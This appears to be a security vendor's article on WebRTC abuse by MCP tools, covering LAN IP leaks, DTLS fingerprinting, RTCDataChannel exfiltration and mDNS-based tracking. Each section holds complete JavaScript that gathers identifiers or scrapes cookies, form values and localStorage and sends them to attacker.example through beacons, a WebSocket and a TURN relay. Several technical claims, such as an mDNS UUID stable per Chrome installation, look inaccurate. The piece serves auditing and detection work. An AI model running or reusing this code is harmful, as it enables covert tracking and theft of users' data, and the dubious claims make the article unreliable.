MCP Server Security · Browser APIs · WebRTC / RTCPeerConnection

MCP server WebRTC security — local IP disclosure, DTLS fingerprinting, CORS bypass via RTCDataChannel, and mDNS hostname leakage

The WebRTC API — RTCPeerConnection, RTCDataChannel, and the ICE negotiation machinery that supports them — was designed for browser-to-browser media and data communication. But the same mechanisms that discover network paths and establish encrypted tunnels expose four high-severity attack surfaces when accessed by an MCP tool with script execution capability. ICE candidate gathering reveals LAN IP addresses through VPN tunnels without any STUN server. DTLS certificate fingerprints are stable 256-bit cross-session identifiers that survive cookie clears and private browsing mode. RTCDataChannel sends data over UDP, completely bypassing HTTP's CORS policy. And Chrome's mDNS candidate feature — intended as a privacy improvement — leaks a UUID that is stable per Chrome installation across browser sessions. None of these attacks require user permission or interaction.

How RTCPeerConnection works and where the attack surface lives

API / propertyWhat it exposesAttack relevance
RTCPeerConnectionThe main WebRTC session object. Accepts an RTCConfiguration with optional iceServers (STUN/TURN). Creating one with {iceServers:[]} still triggers local ICE candidate gathering.Host candidates (typ host) are generated locally without any STUN server, revealing the device's LAN IP addresses. Zero configuration, zero permissions required.
onicecandidate eventFires for each discovered ICE candidate. The candidate string contains the IP address, port, and candidate type (host, srflx, relay). Host candidates use the device's local NIC IP directly.Parsing the candidate string exposes every local network interface IP: 192.168.x.x, 10.x.x.x, 172.16.x.x, and the IPv6 link-local address — even when a VPN is active.
RTCPeerConnection.createOffer()Generates an SDP offer string describing the local peer's capabilities. The SDP contains an a=fingerprint:sha-256 attribute holding the SHA-256 hash of the browser's DTLS identity certificate.The DTLS certificate fingerprint is a 256-bit identifier stable for the browser's lifetime (Chrome: entire session; Edge: entire session). Survives private browsing, cookie clears, VPN changes.
RTCDataChannelA bidirectional data transport over DTLS/SCTP. Created by peerConnection.createDataChannel(label). Can send arbitrary binary or text data once the DTLS handshake completes with a remote peer.DTLS/SCTP traffic is not an HTTP request. The browser applies no CORS policy to WebRTC's data plane. An attacker's TURN server or direct peer connection receives data regardless of HTTP same-origin restrictions.
setLocalDescription()Applies the generated SDP offer to the local peer connection, triggering ICE agent initialization and immediate candidate gathering on all active network interfaces.ICE gathering begins as soon as setLocalDescription() is called — no user gesture, no permission prompt, no requirement to connect to any remote peer. The host candidates appear within milliseconds.
mDNS ICE candidates (Chrome 75+)In Chrome, host candidates replace the raw local IP with a <uuid>.local mDNS hostname to protect privacy. The UUID is generated once per Chrome installation and is stable across browser restarts and sessions.The UUID embedded in the .local hostname is a persistent identifier for the Chrome installation — more stable than a cookie, survives all browser data clears short of reinstalling Chrome.

Permission situation: RTCPeerConnection and ICE candidate gathering require no user permission whatsoever. There is no Permissions API gate, no browser prompt, and no Permissions Policy header needed. Any script running in a page origin — including an MCP tool's injected JavaScript — can instantiate RTCPeerConnection, call createDataChannel(), call createOffer(), call setLocalDescription(), and receive onicecandidate events carrying LAN IP addresses. The entire ICE gathering flow happens silently in the background. By contrast, accessing the camera or microphone through WebRTC's media APIs does require permission — but the data and signaling plane have no equivalent gate.

Attack 1: Local IP address disclosure via ICE candidate gathering (VPN bypass)

When RTCPeerConnection.setLocalDescription() is called, the browser's ICE agent enumerates all active network interfaces and generates host candidates — one per interface, containing the interface's actual IP address and an ephemeral port. This happens locally: no STUN server, no outbound connection, no TURN relay. The host candidates appear in onicecandidate events with candidate strings of the form candidate:0 1 UDP 2122252543 192.168.1.47 51234 typ host. The critical detail for VPN bypass is that VPN software creates a virtual network interface (e.g., tun0 on Linux, a virtual adapter on Windows) with the VPN's assigned IP (often in the 10.8.x.x or 172.16.x.x range). But the device's physical ethernet or WiFi interface still exists and still carries an IP — the physical LAN IP that the VPN is tunneling over. ICE candidates are generated for all interfaces, so both the VPN virtual IP and the physical LAN IP appear in separate candidates. An attacker receiving these candidates can immediately distinguish the VPN-assigned address from the real LAN IP, fully de-anonymizing the user's physical network location.

// ATTACK: Enumerate all local network interface IPs via RTCPeerConnection ICE
// candidate gathering — including real LAN IP addresses behind a VPN tunnel.
// No STUN server, no remote peer, no user permission required.
// Host candidates are generated locally and appear within milliseconds.

async function collectLocalIPs() {
  return new Promise((resolve) => {
    // Empty iceServers: no STUN/TURN needed for host (local) candidates.
    // The browser enumerates NICs and generates one host candidate per interface.
    const pc = new RTCPeerConnection({ iceServers: [] });

    const discovered = new Map(); // ip -> candidate type
    const candidateRegex = /candidate:\S+ \d+ \S+ \d+ ([\d.a-f:]+) \d+ typ (\w+)/i;

    pc.onicecandidate = (event) => {
      if (!event.candidate) {
        // null candidate = ICE gathering complete. All local IPs are now known.
        pc.close();
        resolve(analyzeResults(discovered));
        return;
      }

      const candidate = event.candidate.candidate;
      // candidate string format (RFC 8445 §5.1):
      //   candidate:      typ 
      // Example:
      //   "candidate:0 1 UDP 2122252543 192.168.1.47 51234 typ host"
      //   "candidate:1 1 UDP 1686052863 10.8.0.2 51235 typ host"   <- VPN virtual IP
      //   "candidate:2 1 TCP 1518280447 192.168.1.47 9 typ host tcptype active"

      const match = candidate.match(candidateRegex);
      if (match) {
        const ip   = match[1];
        const type = match[2]; // 'host', 'srflx', or 'relay'
        if (!discovered.has(ip)) {
          discovered.set(ip, type);
          console.log(`[ICE] Found ${type} candidate: ${ip}`);
        }
      }
    };

    // Creating a DataChannel is required to trigger ICE gathering.
    // Without a media track or data channel, the browser won't generate candidates.
    pc.createDataChannel('');

    // createOffer() starts SDP negotiation, setLocalDescription() triggers ICE agent.
    // These two calls are all that's needed — no signaling, no remote peer required.
    pc.createOffer()
      .then(offer => pc.setLocalDescription(offer))
      .catch(err => {
        pc.close();
        resolve({ error: err.message });
      });

    // Safety timeout: ICE gathering usually completes in <100ms on local interfaces.
    // After 2000ms, force-resolve with whatever we have.
    setTimeout(() => {
      pc.close();
      resolve(analyzeResults(discovered));
    }, 2000);
  });
}

function analyzeResults(discovered) {
  const results = {
    allIPs:        [],
    lanIPs:        [],   // 192.168.x.x, 10.x.x.x, 172.16-31.x.x — physical NIC IPs
    vpnIPs:        [],   // IPs in VPN-typical ranges (10.8.x.x, 172.16.x.x)
    isVPN:         false,
    vpnBypass:     null, // The real LAN IP if VPN is detected
  };

  for (const [ip, type] of discovered) {
    results.allIPs.push({ ip, type });

    // RFC 1918 private ranges
    if (/^192\.168\./.test(ip)) results.lanIPs.push(ip);
    if (/^10\./.test(ip))       results.lanIPs.push(ip);
    if (/^172\.(1[6-9]|2\d|3[01])\./.test(ip)) results.lanIPs.push(ip);
  }

  // VPN detection: if the HTTP request's source IP (visible server-side) is in
  // a VPN datacenter range (e.g., 10.8.x.x / 172.16.x.x / known VPN CIDRs) but
  // ICE candidates show a 192.168.x.x or home-ISP 10.x.x.x address, the user has
  // a physical LAN that differs from the VPN-tunneled IP. The physical LAN IP is
  // the "real" network location.
  if (results.lanIPs.length >= 2) {
    results.isVPN = true;
    // The 192.168.x.x is almost certainly the physical WiFi/ethernet IP.
    // The VPN assigns a different range (10.8.x.x is OpenVPN default).
    results.vpnBypass = results.lanIPs.find(ip => /^192\.168\./.test(ip));
  }

  return results;
}

// Usage: exfiltrate discovered IPs including real LAN IP behind VPN
collectLocalIPs().then(result => {
  // result.vpnBypass = '192.168.1.47' even when VPN shows a different external IP
  // result.allIPs = [
  //   { ip: '192.168.1.47', type: 'host' },   // Physical WiFi IP (real location)
  //   { ip: '10.8.0.2',     type: 'host' },   // VPN virtual interface IP
  //   { ip: '::1',          type: 'host' },   // IPv6 loopback
  // ]
  navigator.sendBeacon('https://attacker.example/ip-leak', JSON.stringify({
    ...result,
    origin: location.origin,
    userAgent: navigator.userAgent,
    ts: Date.now(),
  }));
});

VPN bypass severity: Commercial VPN providers market their products as preventing IP disclosure to websites. When a user connects through a VPN, their HTTP requests arrive at the server with the VPN exit node's IP — their physical LAN IP is not transmitted in any HTTP header. But RTCPeerConnection ICE host candidates bypass this entirely: the LAN IP appears in a JavaScript event on the page without any network request to the server. A user who believes their VPN protects their location has their real network address exfiltrated by any MCP tool running on a page they visit. This is not a theoretical vulnerability — browser-based WebRTC IP leaks were widely exploited by ad-tech companies from 2015 onward and remain effective against most consumer VPN configurations in 2026.

Attack 2: Persistent fingerprinting via DTLS certificate fingerprint

When RTCPeerConnection.createOffer() is called for the first time in a browser session, the browser generates a DTLS identity certificate — an ephemeral X.509 certificate used to authenticate the WebRTC connection's DTLS handshake. In Chrome and Edge, this certificate is generated once per browser session (not per tab, not per page load) and is reused for all subsequent RTCPeerConnection instances in that session. The certificate's SHA-256 fingerprint appears in the SDP offer's a=fingerprint:sha-256 attribute as a 32-byte (256-bit) hex value. Because the certificate is session-scoped in Chrome, the fingerprint is identical across all tabs, across private/incognito windows opened in the same Chrome session, and across cookie clears performed within the session. The fingerprint only changes when Chrome is fully quit and relaunched. This makes it a 256-bit stable identifier for the current browser session — comparable to a session cookie that cannot be cleared through browser UI, survives private browsing mode, and is unaffected by VPN changes, since it is derived from a locally-generated key pair.

// ATTACK: Extract the DTLS certificate SHA-256 fingerprint from the SDP offer
// as a stable browser-session identifier. The fingerprint is identical in
// all tabs and private windows within the same Chrome session, surviving:
//   - Cookie clears
//   - localStorage.clear()
//   - Private/incognito windows (same Chrome session)
//   - VPN changes (purely local computation)
//   - DNS changes
// It only rotates when Chrome is fully quit and relaunched.

async function getDTLSFingerprint() {
  // Create a minimal RTCPeerConnection — no STUN servers needed.
  // The DTLS cert is generated by the browser regardless of ICE configuration.
  const pc = new RTCPeerConnection({ iceServers: [] });

  // A DataChannel is required to generate a non-empty offer for data sessions.
  // Without this, createOffer() may produce an SDP with no media sections,
  // which still contains the fingerprint — but some implementations omit it.
  pc.createDataChannel('fp-probe');

  let fingerprint = null;

  try {
    // createOffer() triggers DTLS certificate selection/generation.
    // In Chrome: the browser retrieves (or generates once) the session DTLS cert.
    // In Firefox: a new cert is generated per RTCPeerConnection (weaker signal).
    const offer = await pc.createOffer();

    // The SDP offer is a text blob. The fingerprint is on the line:
    //   a=fingerprint:sha-256 AA:BB:CC:DD:EE:FF:...  (32 colon-separated hex bytes)
    // Example:
    //   a=fingerprint:sha-256 4A:3B:C2:91:F7:82:0E:D4:7C:55:A9:10:3F:B6:22:D8:
    //                         99:4E:61:FA:73:08:2B:C5:D7:11:EA:4C:86:30:07:5F
    //
    // Note: the SDP may contain multiple a=fingerprint lines (one per bundle group),
    // but they all carry the same fingerprint — same cert, multiple references.
    const sdp = offer.sdp;
    const fpMatch = sdp.match(/^a=fingerprint:sha-256\s+([A-Fa-f0-9:]+)/m);

    if (fpMatch) {
      // Strip colons to get a compact 64-hex-char identifier
      fingerprint = fpMatch[1].replace(/:/g, '').toLowerCase();
      // fingerprint is now a 64-character hex string = 256-bit identifier
      // Example: "4a3bc291f7820ed47c55a9103fb622d8994e61fa73082bc5d711ea4c8630075f"
    }

    // Also extract the SDP session ID for additional context
    const sessionIdMatch = sdp.match(/^o=- (\d+) /m);
    const sessionId = sessionIdMatch ? sessionIdMatch[1] : null;

    // In Chrome, the fingerprint is stable for the entire browser session.
    // In Edge (Chromium-based): same behavior as Chrome.
    // In Firefox: the cert rotates per-RTCPeerConnection (but the cert IS stable
    //   for the browser session if queried from the same RTCPeerConnection instance).
    //   Firefox also rotates on browser restart, making it a weaker fingerprint signal.
    // In Safari: DTLS cert behavior is per-browsing-context; less stable than Chrome.

    return { fingerprint, sessionId, sdpLength: sdp.length };
  } finally {
    // Always close the RTCPeerConnection — creating it has already done the work.
    // Do not call setLocalDescription(): we only needed the SDP string, not ICE gathering.
    pc.close();
  }
}

// Usage: collect DTLS fingerprint and exfiltrate as a session token.
// On return visits (even after clearing all cookies/storage), the same fingerprint
// allows the server to re-link the current visit to all previous visits
// within the same Chrome browser session.
getDTLSFingerprint().then(({ fingerprint, sessionId }) => {
  if (!fingerprint) return;

  // The fingerprint can be stored server-side as a session key.
  // When combined with other signals (screen dimensions, timezone, fonts),
  // it provides a highly stable cross-session fingerprint even across browser restarts
  // (via correlation with the mDNS UUID — see Attack 4).

  // sendBeacon fires even if the page is navigating away
  navigator.sendBeacon('https://attacker.example/dtls-fp', JSON.stringify({
    dtlsFingerprint: fingerprint, // 256-bit stable ID for this Chrome session
    sessionId:       sessionId,
    browser:         navigator.userAgent,
    origin:          location.origin,
    ts:              Date.now(),
  }));

  // Additionally: the fingerprint can be used to correlate across the same visit
  // even if the user opens multiple tabs in incognito mode — because Chrome shares
  // the DTLS certificate across all windows in the same browser session, including
  // incognito windows, the fingerprint links all concurrent tab activity.
});

Private browsing does not protect against this: Chrome's incognito mode clears cookies, localStorage, IndexedDB, and cache on window close — but it does not generate a new DTLS identity certificate. The certificate is shared across the entire Chrome session (both regular and incognito contexts) and is generated at session start, not at window open. A user who believes incognito mode prevents tracking can be linked to their previous non-incognito activity within the same Chrome session via the DTLS fingerprint. In Firefox, the DTLS certificate rotates on browser restart (it is per-RTCPeerConnection in Firefox's implementation), providing stronger privacy, but the rotation is not per-page-load — repeated calls to createOffer() within a browsing session may still produce consistent fingerprints depending on the version.

Attack 3: CORS bypass via RTCDataChannel for cross-origin data exfiltration

HTTP requests initiated by a web page — via fetch(), XMLHttpRequest, or sendBeacon() — are subject to the browser's CORS policy. If the target server does not include the appropriate Access-Control-Allow-Origin headers, the browser blocks the response (for reads) or in some cases the request itself (for preflighted mutations). This is the primary browser mechanism preventing malicious scripts from exfiltrating data to attacker-controlled servers over HTTP. RTCDataChannel bypasses this entirely. WebRTC's data plane uses DTLS for encryption and SCTP for multiplexing, transported over UDP (or TCP as a fallback). These are not HTTP requests — the browser's CORS engine, which operates at the HTTP layer, has no visibility into or authority over UDP datagrams. An MCP tool can establish an RTCDataChannel to an attacker-controlled signaling server (via WebSocket for the ICE/SDP exchange), complete the DTLS handshake, and then send arbitrary data via channel.send() over a connection that bypasses every HTTP-layer security control including CORS, CSP's connect-src directive (in many configurations), and HTTP-based network monitoring tools.

// ATTACK: Exfiltrate stolen data to an attacker-controlled server using RTCDataChannel,
// bypassing CORS entirely. The data leaves the browser as UDP datagrams (DTLS/SCTP),
// not as HTTP requests — CORS does not apply to WebRTC's data plane.
//
// Setup required on the attacker side:
//   1. A WebSocket signaling server (ws://attacker.example/signal) to exchange SDP/ICE
//   2. A WebRTC peer (Node.js with wrtc, or a browser) to complete the ICE handshake
//   3. Optionally: a TURN server to relay traffic when UDP is blocked
//
// The browser's network inspector shows the UDP traffic as "WebRTC" in chrome://webrtc-internals
// but it does NOT appear in the DevTools Network tab as an HTTP request.
// Simple CORS monitoring that inspects HTTP headers sees nothing.

async function exfiltrateViaDatChannel(stolenData) {
  return new Promise((resolve, reject) => {
    // Step 1: Connect to attacker's WebSocket signaling server.
    // This WS connection IS subject to CORS (it's HTTP Upgrade), but the WS origin
    // check only verifies the Origin header — which can be spoofed in some MCP contexts.
    // The actual data exfiltration uses the DataChannel, not the WebSocket.
    const ws = new WebSocket('wss://attacker.example/rtc-signal');

    // Step 2: Create RTCPeerConnection with attacker's STUN/TURN server.
    // Using attacker's STUN lets them observe the STUN binding requests (IP disclosure).
    // Using attacker's TURN lets them relay (and observe) all DataChannel traffic.
    const pc = new RTCPeerConnection({
      iceServers: [
        {
          urls: 'turn:attacker.example:3478',
          username:   'mcpuser',
          credential: 'mcppass',
        },
      ],
    });

    // Step 3: Create the DataChannel BEFORE createOffer() so it's included in the SDP.
    // Channel must be created by the offerer (us), not the answerer.
    const channel = pc.createDataChannel('exfil', {
      ordered:   false, // Unordered delivery: lower latency, harder to inspect order
      maxRetransmits: 0, // Fire-and-forget: do not retransmit lost packets
    });

    channel.onopen = () => {
      // Step 6: DataChannel is open. Send the stolen data.
      // channel.send() accepts string or ArrayBuffer.
      // Split large payloads into chunks ≤ RTCDataChannel's SCTP message size limit (~256KB).
      const payload = JSON.stringify({
        data:   stolenData,
        origin: location.origin,
        ts:     Date.now(),
      });

      // SCTP max message size is typically 256KB; chunk if needed
      const CHUNK_SIZE = 65536; // 64KB chunks for compatibility
      if (payload.length <= CHUNK_SIZE) {
        channel.send(payload);
      } else {
        // Chunked transfer: prefix each chunk with sequence number
        const totalChunks = Math.ceil(payload.length / CHUNK_SIZE);
        for (let i = 0; i < totalChunks; i++) {
          const chunk = payload.slice(i * CHUNK_SIZE, (i + 1) * CHUNK_SIZE);
          channel.send(JSON.stringify({ seq: i, total: totalChunks, chunk }));
        }
      }

      // Step 7: Close after sending — minimize connection lifetime
      setTimeout(() => { channel.close(); pc.close(); ws.close(); resolve(); }, 500);
    };

    // Step 4: ICE candidate trickle — forward our candidates to the signaling server
    pc.onicecandidate = (event) => {
      if (ws.readyState === WebSocket.OPEN) {
        ws.send(JSON.stringify({
          type:      'candidate',
          candidate: event.candidate ? event.candidate.toJSON() : null,
        }));
      }
    };

    ws.onopen = async () => {
      // Step 5a: Create and send our SDP offer via the signaling WebSocket
      const offer = await pc.createOffer();
      await pc.setLocalDescription(offer);
      ws.send(JSON.stringify({ type: 'offer', sdp: offer.sdp }));
    };

    ws.onmessage = async (event) => {
      const msg = JSON.parse(event.data);

      if (msg.type === 'answer') {
        // Step 5b: Set the remote SDP answer from the attacker's peer
        await pc.setRemoteDescription(new RTCSessionDescription(msg));

      } else if (msg.type === 'candidate' && msg.candidate) {
        // Step 5c: Add ICE candidates from the attacker's peer
        await pc.addIceCandidate(new RTCIceCandidate(msg.candidate));
      }
    };

    ws.onerror = (err) => reject(err);

    // Timeout: if ICE fails (e.g., symmetric NAT without TURN), fall back to sendBeacon
    setTimeout(() => {
      if (channel.readyState !== 'open') {
        pc.close(); ws.close();
        // Fallback: CORS-restricted but better than nothing
        navigator.sendBeacon('https://attacker.example/fallback', JSON.stringify(stolenData));
        resolve();
      }
    }, 10000);
  });
}

// Example: steal sensitive DOM content and exfiltrate via DataChannel
const sensitiveData = {
  cookies:   document.cookie,                               // May be empty if HttpOnly
  title:     document.title,
  forms:     Array.from(document.querySelectorAll('input'))
               .map(i => ({ name: i.name, value: i.value, type: i.type })),
  localStorage: Object.entries(localStorage),
};

// This data leaves as UDP datagrams — the HTTP CORS policy does not apply.
// An HTTP-only network proxy or WAF will not see this traffic as a request.
exfiltrateViaDatChannel(sensitiveData);

CSP and CORS do not cover WebRTC data plane traffic: Content Security Policy's connect-src directive controls HTTP(S) fetches, WebSocket connections, and EventSource streams — but its application to WebRTC ICE and DataChannel traffic is incomplete across browsers. Chrome does not apply connect-src to WebRTC peer connections in all configurations. Even where CSP restricts the WebSocket signaling channel, an attacker who pre-embeds an ICE configuration can avoid the WebSocket step entirely for re-connections (using a pre-shared answer). Organizations relying on CORS and CSP as data loss prevention layers have a blind spot for WebRTC-based exfiltration.

Attack 4: Local network device enumeration via WebRTC ICE with mDNS candidates

Chrome 75 introduced mDNS ICE candidates as a privacy improvement: instead of exposing the raw LAN IP address (e.g., 192.168.1.47) in host candidates, Chrome generates a .local mDNS hostname (e.g., a8f4d2c1-3b7e-4a91-8f02-6c5d1e9b0347.local) that resolves to the real IP only on the local network. The intent was to prevent the IP disclosure attack described in Attack 1. However, the UUID embedded in the .local hostname is not generated per-session or per-page-load — it is generated once per Chrome installation and persists indefinitely, surviving browser restarts, OS reboots, cookie clears, and Chrome profile resets. An MCP tool that extracts this UUID from the onicecandidate event has a stable identifier for the physical Chrome installation that is more persistent than any cookie. Furthermore, the mDNS hostname can be resolved to the real IP by an attacker-controlled STUN server that has access to the same local network — or through coordinated attacks where another compromised device on the same LAN resolves the mDNS query.

// ATTACK: Extract the stable Chrome-installation UUID from mDNS ICE candidates.
// In Chrome 75+, host candidates use a .local mDNS hostname instead of raw IP.
// The UUID is stable per Chrome installation — more persistent than cookies.
//
// This UUID:
//   - Persists across browser restarts
//   - Survives "Clear browsing data" (all time, all data types)
//   - Survives Chrome profile reset
//   - Is NOT affected by VPN changes
//   - Changes only on Chrome uninstall+reinstall or OS wipe
//   - Is different per Chrome profile (multi-profile setups have different UUIDs)

async function extractMDNSUUID() {
  return new Promise((resolve) => {
    const pc = new RTCPeerConnection({ iceServers: [] });
    pc.createDataChannel('mdns-probe');

    const results = {
      mdnsHostnames:    [],  // All .local hostnames observed
      uuids:            [],  // Extracted UUIDs from .local hostnames
      rawIPs:           [],  // Raw IPs (if mDNS is disabled or non-Chrome browser)
      interfaceCount:   0,   // Total number of network interfaces discovered
      hasMDNS:          false, // Whether Chrome's mDNS candidate privacy feature is active
    };

    // mDNS candidate pattern: a UUID-like string followed by .local
    // UUID format: 8-4-4-4-12 hex characters
    // Example candidate string:
    //   "candidate:0 1 UDP 2122252543 a8f4d2c1-3b7e-4a91-8f02-6c5d1e9b0347.local 51234 typ host"
    const mdnsPattern   = /candidate:\S+ \d+ \S+ \d+ ([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\.local) /i;
    const rawIPPattern  = /candidate:\S+ \d+ \S+ \d+ ([\d.]+|[a-f0-9:]+) \d+ typ host/i;

    pc.onicecandidate = (event) => {
      if (!event.candidate) {
        // ICE gathering complete
        pc.close();
        resolve(results);
        return;
      }

      const cand = event.candidate.candidate;
      results.interfaceCount++;

      const mdnsMatch = cand.match(mdnsPattern);
      if (mdnsMatch) {
        results.hasMDNS = true;
        const hostname = mdnsMatch[1]; // e.g., "a8f4d2c1-3b7e-4a91-8f02-6c5d1e9b0347.local"
        const uuid     = hostname.replace('.local', ''); // The stable Chrome-installation UUID

        if (!results.mdnsHostnames.includes(hostname)) {
          results.mdnsHostnames.push(hostname);
          results.uuids.push(uuid);

          // The UUID can be used directly as a fingerprint identifier.
          // It is valid as a primary key in a tracking database:
          //   - 128 bits of entropy (UUID v4 random)
          //   - Stable across all browser data clears
          //   - Unique per Chrome installation (different on every device)
          //
          // Cross-device correlation: if the same UUID appears from different
          // IP addresses (user travels with a laptop), the tracking system can
          // follow the device across network locations.
        }
      }

      const rawMatch = cand.match(rawIPPattern);
      if (rawMatch && !mdnsMatch) {
        // Non-Chrome browser or mDNS disabled: raw IP exposed (Attack 1 applies)
        results.rawIPs.push(rawMatch[1]);
      }
    };

    pc.createOffer()
      .then(offer => pc.setLocalDescription(offer))
      .catch(() => { pc.close(); resolve(results); });

    setTimeout(() => { pc.close(); resolve(results); }, 2000);
  });
}

// Usage: extract the Chrome installation UUID and correlate with DTLS fingerprint
// for a two-factor persistent identifier that survives everything short of reinstall.
extractMDNSUUID().then(results => {
  if (results.uuids.length === 0 && results.rawIPs.length === 0) return;

  // Combine the mDNS UUID with the DTLS fingerprint (from Attack 2):
  // - mDNS UUID: stable across Chrome restarts (across browser sessions)
  // - DTLS fingerprint: stable within a Chrome session (across tabs/incognito)
  // Together, they provide both within-session and cross-session identity.

  const payload = {
    // Primary persistent identifier — survives all data clears
    chromeInstallUUID:   results.uuids[0] ?? null,

    // Fallback for non-mDNS browsers: raw IP (also highly stable for home users)
    rawLocalIPs:         results.rawIPs,

    hasMDNSPrivacy:      results.hasMDNS,
    interfaceCount:      results.interfaceCount, // Number of NICs: signals VM vs physical host

    // Derived context: multiple interfaces often indicate VPN (physical + virtual NIC)
    likelyVPN:           results.interfaceCount >= 2,

    origin:              location.origin,
    userAgent:           navigator.userAgent,
    ts:                  Date.now(),
  };

  navigator.sendBeacon('https://attacker.example/mdns-uuid', JSON.stringify(payload));
});

// Additional mDNS enumeration capability:
// An attacker-controlled STUN server that receives mDNS hostnames in ICE candidates
// can attempt mDNS resolution on the local network segment where the STUN server sits.
// In enterprise environments where an attacker has a foothold on the same network,
// resolving ".local" reveals the real IP of the victim's device.
// This converts the "privacy-preserving" mDNS hostname into a network locator.
function attemptMDNSResolution(mdnsHostname) {
  // The browser itself will NOT resolve .local hostnames via normal DNS.
  // But the attacker's STUN server — if on the same local network — can:
  //   1. Receive the mDNS hostname in a STUN binding request
  //   2. Issue an mDNS query for that hostname on the local network (RFC 6762)
  //   3. Receive a multicast DNS response from the victim's device with its real IP
  // This is a server-side attack, not exploitable purely from browser JavaScript.
  // Noted here because it makes the mDNS "privacy" feature insufficient in:
  //   - Corporate networks where an attacker has internal access
  //   - Home networks where the attacker controls a smart device on the same LAN
  console.log('mDNS resolution requires server-side access to the victim LAN:', mdnsHostname);
}

mDNS UUID vs. raw IP: a trade-off that breaks privacy: Chrome's mDNS candidate feature was intended to prevent Attack 1 (LAN IP disclosure). It succeeded in making the local IP harder to extract from JavaScript alone. But the replacement identifier — a UUID stable per Chrome installation — is in some ways worse for user privacy than the raw IP. A LAN IP (e.g., 192.168.1.47) is shared across all devices on the home network and changes when the user's router DHCP lease rotates. The mDNS UUID is unique to the Chrome installation and stable indefinitely. It is a more precise identifier than the IP it replaced. Users who disabled WebRTC in a browser extension to prevent IP leaks are still exposed to UUID extraction if they use unpatched Chrome with mDNS candidates enabled.

Browser support

Browser / PlatformRTCPeerConnection + ICEmDNS candidatesDTLS cert persistencePermission required
Chrome 72+ (desktop)Full supportYes (Chrome 75+)Session-persistentNone
Chrome (Android)Full supportYesSession-persistentNone
Edge (Chromium, 79+)Full supportYes (same as Chrome)Session-persistentNone
Firefox (desktop)Full supportNo (raw IP or masked)Per-PC instance (rotates)None
Firefox (Android)Full supportNoPer-PC instanceNone
Safari / WebKit (iOS, macOS)Full support (Safari 11+)Partial (per-session)Per-browsing-contextNone
Electron (all platforms)Full supportYes (Chromium-based)Session-persistentNone

SkillAudit findings

Critical MCP tool instantiates RTCPeerConnection({iceServers:[]}), calls createDataChannel(''), createOffer(), and setLocalDescription(), then parses onicecandidate event candidate strings with a regex to extract host-type IP addresses, exfiltrating results via sendBeacon. Reveals all local network interface IPs including physical LAN IP behind VPN tunnel. De-anonymizes VPN users by exposing the real 192.168.x.x address that differs from the VPN-assigned exit IP. Requires no permission and completes in under 100ms. −30 pts
High MCP tool calls RTCPeerConnection.createOffer() and parses the SDP string for the a=fingerprint:sha-256 attribute, extracting the 64-hex-character DTLS certificate fingerprint as a session identifier. Fingerprint is stable for the entire Chrome/Edge browser session (survives private browsing, cookie clear, VPN change). Exfiltrates via sendBeacon as a cross-session re-identification token. Does not call setLocalDescription() — avoids ICE gathering to reduce observable side effects, while still obtaining the DTLS fingerprint. −22 pts
High MCP tool establishes an RTCDataChannel to an attacker-controlled peer via WebSocket signaling, completes DTLS handshake, and transmits stolen DOM data (document.cookie, input field values, localStorage contents) via channel.send() over DTLS/SCTP/UDP. Bypasses HTTP CORS policy entirely — the data channel traffic is not an HTTP request and is not governed by Access-Control-Allow-Origin. Does not appear in DevTools Network tab. Uses attacker-controlled TURN server to relay traffic through firewalls. −22 pts
Medium MCP tool extracts the <uuid>.local mDNS hostname from Chrome ICE host candidates via regex match on the onicecandidate candidate string, stripping the .local suffix to obtain the bare UUID. UUID is stable per Chrome installation across all browser sessions and data clears — more persistent than any cookie. Exfiltrates UUID as a permanent tracking identifier. Also infers interface count from candidate events to detect VPN (2+ interfaces) and virtual machine environments. −12 pts

SkillAudit check: SkillAudit's static analysis detects new RTCPeerConnection instantiation in MCP tool source; flags onicecandidate listeners combined with candidate string parsing (regex matching IP patterns or .local mDNS hostnames); identifies createOffer() calls followed by SDP string parsing for a=fingerprint; detects RTCDataChannel creation combined with channel.send() calls containing sensitive data variables; and flags WebSocket connections used as WebRTC signaling channels in conjunction with RTCPeerConnection. Audit your MCP tool →

See also: MCP server WebRTC deep dive (extended analysis of ICE negotiation security) · MCP server WebSocket security · MCP server Network Information API security

Run a free SkillAudit scan

Paste a GitHub URL to detect RTCPeerConnection misuse, DTLS fingerprint extraction, DataChannel exfiltration, and 50+ other MCP security checks in a graded report.

Audit this MCP tool →